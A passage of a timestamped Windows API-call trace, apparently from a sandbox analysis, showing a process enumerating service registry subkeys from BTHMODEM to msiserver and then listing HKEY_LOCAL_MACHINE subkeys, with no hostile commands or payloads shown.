| out: lpName="BTHMODEM") returned 0x0 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0250.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0250.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0250.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0250.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0250.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0250.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0250.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0250.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0250.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0250.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0250.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0250.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0250.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0250.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0250.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0250.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0250.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0250.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0250.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0250.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0250.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0250.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0250.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0250.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0250.797] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0250.799] RegCloseKey (hKey=0xc4) returned 0x0 [0250.800] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.801] 